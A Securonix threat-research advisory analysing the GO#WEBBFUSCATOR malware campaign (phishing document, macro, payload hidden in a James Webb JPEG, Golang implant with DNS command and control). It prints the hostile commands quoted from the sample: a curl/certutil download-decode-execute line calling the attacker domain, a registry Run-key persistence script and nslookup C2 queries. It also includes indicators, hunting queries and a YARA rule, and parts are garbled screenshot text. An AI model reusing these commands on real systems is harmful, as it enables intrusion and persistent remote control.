Securonix Threat Labs Security Advisory: New Golang Attack Campaign GO#WEBBFUSCATOR Leverages Office Macros and James Webb Images to Infect Systems

K securonix.com/blog/golang-attack-campaign-gowebbfuscator-leverages-office-macros-and-james-webb-images-to-infect-systems/



By Securonix Threat Labs, Threat Research: D. luzvyk, T. Peck, O. Kolesnikov



Introduction

The Securonix Threat research team has recently identified a unique sample of a persistent Golang-based attack campaign tracked by Securonix as GO#WEBBFUSCATOR. The new campaign incorporates an equally interesting strategy by leveraging the infamous <u>deep field image</u> taken from the James Webb telescope and obfuscated Golang programming language payloads to infect the target system with the malware.



Golang-based malware is on the <u>rise gaining popularity</u>^[1] with APT groups such as <u>Mustang Panda</u>^[2]. There are a few reasons why we may be seeing these APTs move to the Go platform. First, Go binaries are much more difficult to analyze and reverse engineer compared to C++ or C# compiled binaries. Go is also very flexible when it comes to cross-platform support and compilation. Malware authors are able to compile code using a common codebase for multiple platforms such as Windows and *NIX operating systems.

Additionally, there are several prominent malware frameworks such as ColdFire and OffensiveGolang designed to produce Go-based malware and executables.

Analysis — initial compromise

Initial infection begins with a phishing email containing a Microsoft Office attachment (Geos-Rates.docx in our case). The document includes an external reference hidden inside the document's metadata which downloads a malicious template file.

As seen in the image below, the "Target=" field attempts to masquerade as a legitimate Microsoft URL to pull down the form.dotm file.

hxxp://www.xmlschemeformat.com/update/2021/Office/form.dotm

A legitimate external reference should contain a URL patterned after:

http://schemas.openxmlformats.org/

55 8:1 5:1 5:1 5:1	\$535535353535353 555555 555555 5555 5555 5555 535555 5355555 535555 53555555 5355555 53555555		CCCCCCCCC ++ CCC+ CCC+ CCC+ CCC+ CCCCCCCC ++ CCCC+ CCC+ CCC+ CCC+ CCC+ CCC+ CCC+		AND	00000000 NAMAN 0 000 NO N 000 NO		No.1 1 <th1< th=""> <th1< th=""> <th1< th=""> <th1< th=""></th1<></th1<></th1<></th1<>	X000000X R:X X:X X:X X:X X:X X:X X:X X:X X:X	
(base) - cat : <7xm] version=11. <relationships xx<br="">t/2006/relationsh (base)</relationships>	settings.xml.: .0" encoding=" mlns="http://s hips/attachedl	els UTF-8° standalonn chemas.openumlfoi emplate* Target=	s="yes"?> mats.org/package/2 http://www.xmlsche	006/relation	ships*≻ <relation< th=""><th>nship Id="rIdi Fice/form.dotm</th><th>* Type="http: TargetMode"</th><th>://schemas.open *External*/><!--</th--><th>umlformats.o</th><th>rg/officeDocumen s>⊉</th></th></relation<>	nship Id="rIdi Fice/form.dotm	* Type="http: TargetMode"	://schemas.open *External*/> </th <th>umlformats.o</th> <th>rg/officeDocumen s>⊉</th>	umlformats.o	rg/officeDocumen s>⊉
			Massachistophil 4 1 5 1		300 A:::A A:::A A:::::A A:::::A A:::::A A:::::A A:::::A A::::::		ARCHONNY ARCHINE R			6 7 7 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8

When the document is opened, the malicious template file is downloaded and saved on the system. Similar to that of a traditional Office macro, the template file contains a VB script that will initiate the first stage of code execution for this attack once the user enables macros.



The malicious VBA macro code is set to be auto executed once macros are enabled. As with traditionally included macros, the template includes the functions Auto_Open, AutoOpen, and AutoExec.

After deobfuscating the VB code, we are left with the following code. We can see a reference to the same C2 server hosting the malicious Office template file.



The deobfuscated code executes the following command which will download a file named OxB36F8GEEC634.jpg, use certutil.exe to decode it into a binary (msdllupdate.exe) and then finally, execute it.

cmd.exe /c cd c:\users\test\appdata\local & curl

hxxp://www[.]xmlschemeformat.com/update/2021/office/oxb36f8geec634.jpg -o oxb36f8geec634.jpg & certutil -decode oxb36f8geec634.jpg msdllupdate.exe & msdllupdate.exe

The image file is quite interesting. It executes as a standard .jpg image as seen in the image below. However, things get interesting when inspected with a text editor.



The image contains malicious Base64 code disguised as an included certificate. At the time of publication, this particular file is undetected by all antivirus vendors according to VirusTotal:

\bigcirc	No security vendors and no sandboxes flagged this file as malicious							€ ≈	\pm 33
(2) (2) (2) (2) (2) (2) (2) (2) (2) (2)	35J8560401355647538345358074c838a42315601a48986680c819201748616c22 Oxf0xF90EEC634 jpg (jp+g)					2.67 MB Size	2022-07-28 17:43:20 UTC 7 days ago	JPG	9
DETECTION	DETAILS RELATIONS	CONTENT	SUBMISSIONS	COMMUNITY	0				
Security vendors' anal	lysis on 2022-07-28T17:43:20 UTC	v							0
Acronis (Static ML)	 Undetected 				Ad Aware		 Undetected 		
AhrLab-V3	O Undetected				AL/Vac		 Undetected 		
Antiy-AVL	 Undetected 				Arcabit		O Undetected		
Arest	② Undetected				Avira (no cloud)		 Undetected 		
Baidu	 Undetected 				BitDefender		O Undetected		
BitDefenderTheta	O Undetected				Ekav Pro		 Undetected 		
ClamAV	 Undetected 				CMC		 Undetected 		

The Base64 encoded payload is decrypted and saved into a built Windows executable file called "msdllupdate.exe" as we saw earlier with the certutil command.

Below is a screenshot of the appended Base64 code which gets translated into the msdllupdate.exe Golang binary file.



Analysis — Golang binary

The generated file is a Windows 64-bit executable which is on the large size, standing at around 1.7MB. The binary msdllupdate.exe employs several obfuscation techniques in order to hide execution AV and to make analysis difficult.

ROT25 strings

We encountered many strings obfuscated using ROT25. This encoding method works like a traditional shift cipher where individual characters and numbers are rotated forward. For Instance, A = B, and 1 = 2 for ROT1. In this case ROT25, A = Z and 1 = 6.

The table below shows ROT25 strings we were able to extract:

ROT25 encoded string	Decoded string
/bqjsfhjt/dpn	.apiregis.com
njdsptpgu]wbvmu]	microsoft\vault\
njdsptpgu]wbvmu]Vqebuf/cbu	microsoft\vault\Update.bat
SfqmbdfXjuiSboepn/D55463TTBXFR	ReplaceWithRandom.C44352SSAWEQ
9/9/9/9	8.8.8.8
DpnTqfd	ComSpec
0D	/C
otmpplvq!.r>uyu!.ujnfpvu>	nslookup -q=txt -timeout=
nlejs!&MPDBMBQQEBUB&]njdsptpgu]xjoepxt]NtTbgfuz	mkdir %LOCALAPPDATA%\microsoft\windows\MsSafety
&mpdbmbqqebub&]njdsptpgu]wbvmu]Vqebuf/cbu	%localappdata%\microsoft\vault\Update.bat
njdsptpgu]wbvmu]Vqebuf/cbu	microsoft\vault\Update.bat
MPDBMBQQEBUB	LOCALAPPDATA
njdsptpgu]wbvmu]	microsoft\vault\
Ntemmvqebuf/fyf	Msdllupdate.exe
NtEc/ec	MsDb.db

XOR encoded payload

In addition to encoded strings using ROT25, the binary is compiled using the Go programming language and obfuscated using a modern technique aiding in counter forensics dubbed Gobfuscation.

SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS		ccccccccc	CCC00000000	00000000		000000000	No. N			1111000 1111X	000X	8000 K 1 1	00000 1111X
				La l	s@mlab: ~/0081				٩			•	
ile Information	(time: θ	:00:04.3	09234)										I
filename filetype filesize hash sha256 virustotal magebase entrypoint imphash fatetime fil directories sections features	Msdllupd PE32+ ex 1687552 d09af37c/ / 0x400000 0x610e0 c7269d59 1970-01- False import, .rdata, mutex, c	ate.exe ecutable dbae7273 926fa425 01 00:00 tls, rel .data, . rypto	(GUI) >> e4e7c791 2270f407 :00 ocation: idata,	x86-64 (b2420231 7e4dab04 s .symtab,	(stripped to ffdb07c8ccab 13 , .text *	externa	ι PDB),	, for M p14ad19	ic.				
ara Plugins													
(sPE64 (sWindowsGUI Big Numbers3 BASE64 table													
1		55555 S:::	SEE		A:::::A A:::::A A:::::A	A:::::A A:::::A A:::::A	(R R (R (R	R:::::R R:::::R R:::::R	33333333 301 302 303 303 303	CHI CHI			

The Golang assemblies were encoded using XOR with a 0x20 byte offset. Decrypting the obfuscated portion of the binary reveals the Golang assemblies.

As you can see in the figure below, the assemblies leverage a bit more obfuscation including case alteration to assist in bypassing AV signature detection.

\$\$\$\$\$\$\$	SSSSSS ECCCCCCCCCCCCCCCCCCCCC	000000000000000000000000000000000000000	UUUUUURRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR	000000000 NNNNNN	N NNNNNNNTTTTTTTTT	0000000 10000000
		CCC::::::::::CU::::::W	U:::::UR:::::::::::::::	00::::::::00 W:::::::		Колол Жалан Жалан Жалан Жалан Жа
5:::::555555	554t	CC:::::::::::::::::::::::::::::	U:::::UR:::::ROODOR:::::R	00::::::::::::::::::::::::::::::::::::	IN NIIIINTIIIIIII	KIIIIX XIIIIX
			~/0081/upscal.txt + - Sublime Text (UNREGISTER	62)		A 10
STITUS						
5111115	File Edit Selection Find View Goto Too	os Project Preferences Help				
5111133333	All symmetric s					
	1 GO.BUILDID.INTERNA	AL.CPU.INITIALIZE.INTERA	IAL.CPU.PROCESSOPTIONS.IN	NTERNAL.CPU.INDEXBYTE	E.INTERNAL.CPU.DOINI	
5550	2 STRUCTFIELD .OFFSE	T.RUNTIME.ADD.RUNTIME.M	REMEQUAL RUNTIME . MEMEQUA	ALRUNTIME.MEMEQUAL.	RUNTIME.MEMEQUAL.	Concernent of the second
	3 WBbUF .PUTfAST.R	RUNTIME.ATOMICSTOREP.RUN	TIME.CGOCALL.RUNTIME.OS	REEMPTeXTeNTER, RUNTI	IME.OSYIELD.RUNTIME.	ALL DOCUMENTS
	4 GUINTPTR .SET.R	UNTIME				X::::::00X
\$\$\$\$\$\$	5 MUINTPTR .SET.R	RUNTIME.CGOCALLBACKGRU	INTIME.CGOCALLBACKG.å.DW	RAP&RUNTIME.CGOCAL	LLBACKG.å.DWRAPåR	XIIIIX
\$111115555	6 HCHAN .RACEADOR.	RUNTIME. CHANSEND RUNTI	ME, CHANSEND, RUNTIME, FULI	L. RUNTIME, LOCK, RUNTIN	E.LOCKWITHPANK, RUNT	XIIIX
5	7 WAITO .DEQUEUE.R	UNTIME.UNLOCK.RUNTIME.U	INLOCKWITH ANK . RUNTIME			XIIIIX
555555555	8 WAITO .ENOUEUE.R	RUNTIME, CHANBUF, RUNTIME.	CHANSEND, FUNC, RUNTIME.	SEND, RUNTIME, SENDITRE	ECT.RUNTIME.RECVAIRE	
	9 GLIST .PUSH.RUNT	IME				Berner .
	10 GLIST .EMPTY.RUN	TIME				Anna and a second se
	11 GLIST .POP.RUNTI	ME. CHANRECV. RUNTIME. CH	ANRECV. RUNTIME, EMPTY, RUI	TIME.CHANRECV.FUNC.	RUNTIME.RECV.RUNTIM	Contract of the second s
	12 typEaSSERTIONeRROR	eRROR, RUNTIME, ERRORS	TRING, eRROR, RUNTIME, ERRI	DRADDRESSSTRING, eRROR	R. RUNTIME, PLAINERROR	<u>e</u>
	13 .TYPE .NAMEOFF.P	UNTIME				
	14 ITARTARLETYPE	TND, RUNTIME, TTARMASHFUR	C. RUNTIME, ITARADD, RUNTIN	4F		
	15 ITABLABLELYPE	DD. RUNTIME				8
	16 ITAB .INIT.BUNT	TME				Contract of the local division of the local
	17 .TYPE .TYPEOFF.B	UNTIME, NAME, ISeXPORTED.	RUNTIME, ITABSINIT, RUNTIN	E. PANICDOTTYPEe. RUN	TIME, PANICDOTTYPE1, B	
	18 LESTACK . PUSH. RUNT	TIME . LESTACKDACK . RUNTIME	LESTACKUNPACK, RUNTIME,	FNODEVAL IDATE . RUNTIN	HE.LOCK. BUNTIME.UNL	Contract of the local division of the local
	19 MHEAP .SYSaLLOC.	RUNTIME, ALIGNUP, RUNTIME				Concentration of the local data
	20 FIXALLOC .FREE.	RUNTIME, SYSTESERVEALIGN	ED.RUNTIME			Concentration in the local data
	21 MCACHE .NEXTTREE.	RUNTIME, MALLOCGC, RUNTIN	E.GETICACHE.RUNTIME.NEX	TFREEFAST.RUNTIME.DIV	roundup.RUNTIME.MAK	And and a second se
	22 MSPAN .BASE.RUNT	IME.GCtRIGGER.TEST.RUNT	IME.MEMCLRn0hEAPp0INTER	SCHUNKED, RUNTIME, GOSO	CHEDGUARDED, RUNTIME,	Contraction of the local division of the loc
REALBREAK	23 NOTINHEAP .ADD.R	UNTIME				маннаям
R	24 LINEARALLOC .ALLOC	.RUNTIME				Norsen H
R:::::RR8	25 HMAP .INCRNOVER	FLOW, RUNTIME.				HETTER
RRIIIIR	26 HMAP .NEWOVERFL	OW. RUNTIME				HILLINH
	27 BMAP .OVERFLOW.	RUNTIME				
8	28 BMAP .SETOVERFL	OW. RUNTIME				
8	29 HMAP CREATEOVE	RELOW, RUNTIME, MAKEMAP, S	MALL, RUNTIME, MAKEMAP, RUI	TIME.OVERLOAD FACTOR.	BUNTIME BUCKETSHIFT	
RECEIPTER	30 HMAP .SAMEsTZEO	ROW, RUNTIME, EVACUATED, R	UNTIME, TOPHASH, RUNTIME.			ACCOUNTS OF TAXABLE PARTY.
R::::R	31 MAPTYPE HASHnIGHT	DANIC, RUNTIME				NO0001:::::N
R::::R	32 MAPTYPE .INDIRECTR	EY.RUNTIME				HILLSON HILLSON
R::::R						HILLIN
RR::::R	Line 21, Galuma 22				Tati Size. 4	Pain Rot
R	A	15:::::5555555:::::54:::::::	ALLEA ALLEA	ATTTTA RELETER	Alleria CCIIIIIIIIIIIIII	силонии инструми
#::::::R				A		

While most of the file contents are obfuscated, dynamic analysis lets us observe additional behaviors. In order to establish persistence on the host, the malware will copy itself into **%%localappdata%%\microsoft\vault**\ and create and execute a batch file:

%%localappdata%%\microsoft\vault\update.bat

This file contains the following content:

mkdir %LOCALAPPDATA%\microsoft\windows\MsSafety

copy %localappdata%\microsoft\vault\Msdllupdate.exe %LOCALAPPDATA%\microsoft\windows\MsSafety\Msdllupdate.exe

reg add "HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /V run /t REG_SZ /F /D %LOCALAPPDATA%\microsoft\windows\MsSafety\Msdllupdate.exe

Persistence is achieved by adding an implant binary into the Windows registry Run key.

If the directory **%localappdata%\microsoft\vault** does not exist, the implant will not create it and persistence will be broken.

Analysis — C2 communication

When executed the malware was observed making unique DNS connections. By looking at the URL strings we can determine that the binary file was leveraging a DNS data exfiltration technique by sending unique DNS queries to a target C2 DNS server.

This technique works by sending an encrypted string appended to the DNS query set as a subdomain. We have observed similar behavior with DNS exfiltration tools such as <u>DNSCAT2</u>.

The encrypted messages are read in and unencrypted on the C2 server, thus revealing its original contents. This practice can be used for either establishing an encrypted channel for command and control, or exfiltrating sensitive data.

In the case with GO#WEBBFUSCATOR, communication with the C2 server is implemented using `TXT-DNS` requests using `nslookup` requests to the attacker-controlled name server. All information encoded using Base64

The first request sent to **ReplaceWithRandom**.C44352SSAWEQ.apiregis.com to check if c2 is active.

nslookup -q=txt -timeout=15 ReplaceWithRandom.C44352SSAWEQ.apiregis.com

If C2 is active, the implant will receive a USER_ID that will be used in all the following c2 connections. This user_id identifier will be written to the file:

%LOCALAPPDATA%\microsoft\vault\MsDb.db

The next step are four requests that are sent to the C2 server with following information:

- \$processname|\$hostname|\$current user\domain| example: Msdllupdate.exe|DESKTOP-PC|demo\demo|
- ABC|network IP range| Example: ABC|10.0.0.1/24|
- C:\Users\user\AppData\
- Local\microsoft\vault\

Next, the implant will go into an infinitive loop waiting for commands from C2.

Three commands are supported:

- **sleep** to change timeout between C2 requests
- timeout to change timeout parameter in nslookup request
- all other commands will be executed with "cmd.exe /c"

In our case, we observed the malware leveraging nslookup using the following command structure:

c:\windows\system32\cmd.exe /c "nslookup -q=txt -timeout=15 [USER_ID]. [REDACTED].apiregis.com

Once the request is sent, a response is given:

c:\windows\system32\cmd.exe /c "nslookup -q=txt -timeout=15 c1xqywxzdg[....]iagmdg6mdmgqu0gicag.[USER_ID].[REDACTED].apiregis.com

The first part of the URL string (beginning with c1xq) contained the encrypted payload. The next portion contains the **USER_ID** identified, and the last -contains the session identifier.

Once the DNS-based connection was established, we observed the attackers running arbitrary enumeration commands on our test systems.

Infrastructure analysis

The domain name www[.]xmlschemeformat.com was registered very recently on 2022-05-29 and resolved to 185.247.209.255 at 2022-05-30 12:26:36. At almost the same time this IP was set to point to ns1[.]updatesagent.com which was created on 2022-05-29.

The domain name ns2[.]updatesagent.com was registered on 2022-05-29.

The domain name apiregis[.]com contains no A records, however the subdomain ns1[.]apiregis.com and ns2[.]apiregis.com both resolve to 139.28.36.222 beginning on 2022-07-16.

Overall, domain age is very new which is typical for malicious C2 servers. One additional domain controlled by the threat actor was retrieved — updatesagent[.]com. This particular host allows for sending the same requests to the domain updatesagent[.]com as seen in the figure below.



We determined that the domain, updatesagent[.]com is designed to be a backup or fallback server.



Finding the Signal Through the Noise: Quantifying SIEM Effectiveness

Discover More

Conclusion

Overall, TTPs observed with GO#WEBBFUSCATOR during the entire attack chain are quite interesting. Using a legitimate image to build a Golang binary with Certutil is not very common in our experience or typical and something we are tracking closely. It's clear that the original author of the binary designed the payload with both some trivial counter-forensics and anti-EDR detection methodologies in mind.

Tactic	Technique
Initial access	T1566.001 Spearphishing Attachment
Execution	T1059.003 Windows Command Shell
Persistence	T1547.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
Defense evasion	T1140 Deobfuscate/Decode Files or Information

WEBBFUSCATOR — MITRE ATT&CK techniques

Discovery	T1420 File and Directory Discovery T1016.001 System Network Configuration Discovery				
	T1426 System Information Discovery				
	T1033 System Owner/User Discovery				
Command and control	T1071.001 Web Protocols T1071.004 Application Layer Protocol: DNS				
	T1132.001 Data Encoding: Standard Encoding				
	T1105 Ingress Tool Transfer				
	T1001.002 Data Obfuscation: Steganography				
Exfiltration	T1041 Exfiltration Over C2 Channel				

GO#WEBBFUSCATOR — Indicators of compromise

Network indicators

xmlschemeformat[.]com

updatesagent[.]com

apiregis[.]com

185[.]247.209.255

139[.]28.36.222

Host-based indicators

%LOCALAPPDATA%\microsoft\vault\Msdllupdate.exe

%LOCALAPPDATA%\microsoft\vault\Update.bat

%LOCALAPPDATA%\microsoft\windows\MsSafety\Msdllupdate.exe

%LOCALAPPDATA%\microsoft\vault\MsDb.db

Geos-Rates.docx

da43ec30fe12c45529e51a0c986a856aa8772483875356f29382ac514788f86d

form.dotm 383136adaf956f1fab03de8c1064f7b9119b5b656bedda7ce3137bebbb2a920f

OxB36F8GEEC634.jpg 3bdf6d9f0f35be75d8345d897ec838ae231ba01ae898f6d0c8f920ff4061fc22

 $msdllupdate.exe\ d09af37cdbae7273e4e7c79b242023ffdb07c8ccab2280db7fe511d2b14ad19c$

Securonix recommendations and mitigations

- Avoid downloading unknown email attachments from non-trusted sources..
- Prevent Office products from spawning child processes using <u>Microsoft's recommendations</u>

- Monitor for suspicious and persistent DNS queries and/or repeated nslookup requests.
- Scan endpoints using the Securonix seeder hunting queries below

Securonix detection policies

- EDR-ALL-730-ER,EDR-ALL-30-ER,CEDR-ALL-30-ER Possible Phishing document Rare process spawned from Office Applications
- EDR-ALL-79-ER Suspicious use of cradle rare child process spawned from script interpreter
- EDR-ALL-185-ERI Potential use of suspicious stager Rare destination port used by LOLBIN executable on host to establish outbound communication
- EDR-ALL-977-RU Potential Suspicious File Download With Certutil Process Analytic
- EDR-ALL-01-RU Decoding PE or DLL From b64 Via Certutil Analytic
- EDR-ALL-190-RU Possible Malicious Post-Exploitation Batch File CommandLine Analytic
- EDR-ALL-769-BP,EDR-ALL-69-BP,CEDR-ALL-69-BP Spike in number of Discovery Tactic Command Activity For Host Analytic
- EDR-ALL-1110-BP Potential DNS tunneling using NSlookup

Hunting queries

- rg_functionality = "Endpoint Management Systems" AND (deviceaction = "Process Create" OR deviceaction = "ProcessCreate" OR deviceaction = "Process Create (rule: ProcessCreate)" OR deviceaction = "ProcessRollup2" OR deviceaction = "SyntheticProcessRollUp2" OR deviceaction = "WmiCreateProcess" OR deviceaction = "Trace Executed Process" OR deviceaction = "Process" OR deviceaction = "Trace Executed Process" OR deviceaction = "Process Activity: Launched") AND sourceprocessname ENDS WITH "Winword.exe" | rare destinationprocessname
- rg_functionality = "Endpoint Management Systems" AND (deviceaction = "Process Create" OR deviceaction = "ProcessCreate" OR deviceaction = "Process Create (rule: ProcessCreate)" OR deviceaction = "ProcessRollup2" OR deviceaction = "SyntheticProcessRollUp2" OR deviceaction = "WmiCreateProcess" OR deviceaction = "Trace Executed Process" OR deviceaction = "Process" OR deviceaction = "Process Activity: Launched") AND destinationprocessname ENDS WITH "curl.exe" AND resourcecustomfield1 CONTAINS "http://"
- rg_functionality = "Endpoint Management Systems" AND (deviceaction = "Process Create" OR deviceaction = "ProcessCreate" OR deviceaction = "Process Create (rule: ProcessCreate)" OR deviceaction = "ProcessRollup2" OR deviceaction = "SyntheticProcessRollUp2" OR deviceaction = "WmiCreateProcess" OR deviceaction = "Trace Executed Process" OR deviceaction = "Process" OR deviceaction = "Process Activity: Launched") AND destinationprocessname ENDS WITH "certutil.exe" AND resourcecustomfield1 CONTAINS "-urlcache" AND resourcecustomfield1 CONTAINS " -f " AND (resourcecustomfield1 CONTAINS "http://" OR resourcecustomfield1 CONTAINS "https://")
- rg_functionality = "Endpoint Management Systems" AND (deviceaction = "Process Create" OR deviceaction = "ProcessCreate" OR deviceaction = "Process Create (rule: ProcessCreate)" OR deviceaction = "ProcessRollup2" OR deviceaction = "SyntheticProcessRollUp2" OR deviceaction = "WmiCreateProcess" OR deviceaction = "Trace Executed Process" OR deviceaction = "Process" OR deviceaction = "Process Activity: Launched") AND destinationprocessname ENDS WITH "certutil.exe" AND (resourcecustomfield1 CONTAINS ".dll" OR resourcecustomfield1 CONTAINS ".exe")

- rg_functionality = "Endpoint Management Systems" AND (deviceaction = "Process Create" OR deviceaction = "ProcessCreate" OR deviceaction = "Process Create (rule: ProcessCreate)" OR deviceaction = "ProcessRollup2" OR deviceaction = "SyntheticProcessRollUp2" OR deviceaction = "WmiCreateProcess" OR deviceaction = "Trace Executed Process" OR deviceaction = "Process" OR deviceaction = "Process Activity: Launched") AND destinationprocessname ENDS WITH "reg.exe" AND resourcecustomfield2 CONTAINS "cmd" AND resourcecustomfield2 CONTAINS "/c" AND resourcecustomfield2 CONTAINS ".bat"
- rg_functionality = "Endpoint Management Systems" AND (deviceaction = "Process Create" OR deviceaction = "ProcessCreate" OR deviceaction = "ProcessCreate" OR deviceaction = "ProcessRollup2" OR deviceaction = "SyntheticProcessRollUp2" OR deviceaction = "WmiCreateProcess" OR deviceaction = "Trace Executed Process" OR deviceaction = "Process" OR deviceaction = "Childproc" OR deviceaction = "ProcessToP deviceaction = "Process Activity: Launched") AND destinationprocessname ENDS WITH "nslookup.exe" AND resourcecustomfield1 CONTAINS " -q=txt "

Yara rules:

rule Go_WEBB_Implant {

meta:

description = "Go WEBB Implant"

```
author = "Securonix Threat Research"
```

reference = "https://securonix.com/<SECURONIX_ICA_URL_HERE>.pdf"

date = "2022-08-08"

hash1 = "d09af37cdbae7273e4e7c79b242023ffdb07c8ccab2280db7fe511d2b14ad19c"

strings:

```
$hex_string1 = {6F 74 6D 70 70 6C 76 71 21 2E 72 3E 75 79 75 21 2E 75 6A 6E 66 70 76 75 3E}
```

\$hex_string2 = {4E 74 65 6D 6D 76 71 65 62 75 66 2F 66 79 66}

\$hex_string3 = {4E 74 45 63 2F 65 63}

\$hex_string4 = {53 66 71 6D 62 64 66 58 6A 75 69 53 62 6F 65 70 6E}

condition:

uint16(0) == 0x5a4d and filesize < 2MB and all of (\$hex_string*)

}

References

 [1] Go malware is now common, having been adopted, Feb. 26, 2021 <u>https://www.zdnet.com/article/go-malware-is-now-common-having-been-adopted-by-both-apts-and-e-crime-groups/</u>

- [2] TA416 Goes to Ground and Returns with a Golang PlugX, November 23, 2020 <u>https://www.proofpoint.com/us/blog/threat-insight/ta416-goes-ground-and-returns-golang-plugx-malware-loader</u>
- [3] Attack surface reduction rules reference, 06/28/2022 <u>https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/attack-surface-reduction-rules-reference?view=o365-worldwide</u>
- [4] Tunneling Data and Commands Over DNS, February 27, 2019 https://zeltser.com/c2-dns-tunneling/

PREVIOUS ARTICLE

Enhancing Threat Detection and Response with SIEM and SOAR

NEXT ARTICLE

Insider Threat Profile Case Study: [Ambitious Leader] Data Heist and a Church to Worship Our Al Overlords